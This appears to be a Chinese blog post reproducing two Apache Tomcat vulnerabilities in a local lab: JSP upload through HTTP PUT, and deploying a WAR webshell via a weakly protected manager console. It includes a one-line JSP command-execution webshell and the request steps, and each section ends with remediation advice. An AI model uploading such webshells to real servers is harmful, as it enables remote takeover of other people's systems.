中间件漏洞总结- Tomcat

Posted ssw6

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件漏洞总结- Tomcat相关的知识,希望对你有一定的参考价值。

(一) Tomcat简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 html ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

(二) 远程代码执行

  1、 漏洞简介及成因

    Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。

    影响版本: Apache Tomcat 7.0.0 – 7.0.81

  2、 漏洞复现

    配置漏洞,开启put方法可上传文件功能。

    tomcat文件夹下的/conf/web.xml文件插入:

     <init-param>
           <param-name>readonly</param-name>
           <param-value>false</param-value>
     </init-param>

    重启tomcat服务。

    技术图片

 

 

 

    访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个122.jsp,并用%20转义空格字符。123.jsp内容为:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

    返回201,说明创建成功。

    技术图片

 

 

 

    访问127.0.0.1:8080/122.jsp?cmd=calc。

    弹出计算器:

      技术图片

 

 

 

  3、 漏洞修复

    1)检测当前版本是否在影响范围内,并禁用PUT方法。

    2)更新并升级至最新版。

 

(三)war后门文件部署

  1、漏洞简介及成因

    Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

    若后台管理页面存在弱口令,则可以通过爆破获取密码。

  2、漏洞复现

    Tomcat安装目录下conf里的tomcat-users.xml配置如下:

    技术图片

 

     访问后台,登陆:

     技术图片

 

     上传一个war包,里面是jsp后门:

    技术图片

 

     成功上传并解析,打开:

    技术图片

 

     可执行系统命令:

    技术图片

 

     也可进行文件管理,任意查看、删除、上传文件:

    技术图片

 

   3、漏洞修复

    1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

    2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

    3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

    4)后台管理避免弱口令。

以上是关于中间件漏洞总结- Tomcat的主要内容,如果未能解决你的问题,请参考以下文章

Web中间件常见漏洞总结

中间件漏洞总结- jBoss

tomcat反序列化漏洞(cve-2016-8735)

总结 | Web中间件常见安全漏洞

Tomcat中间件漏洞

tomcat中间件漏洞复现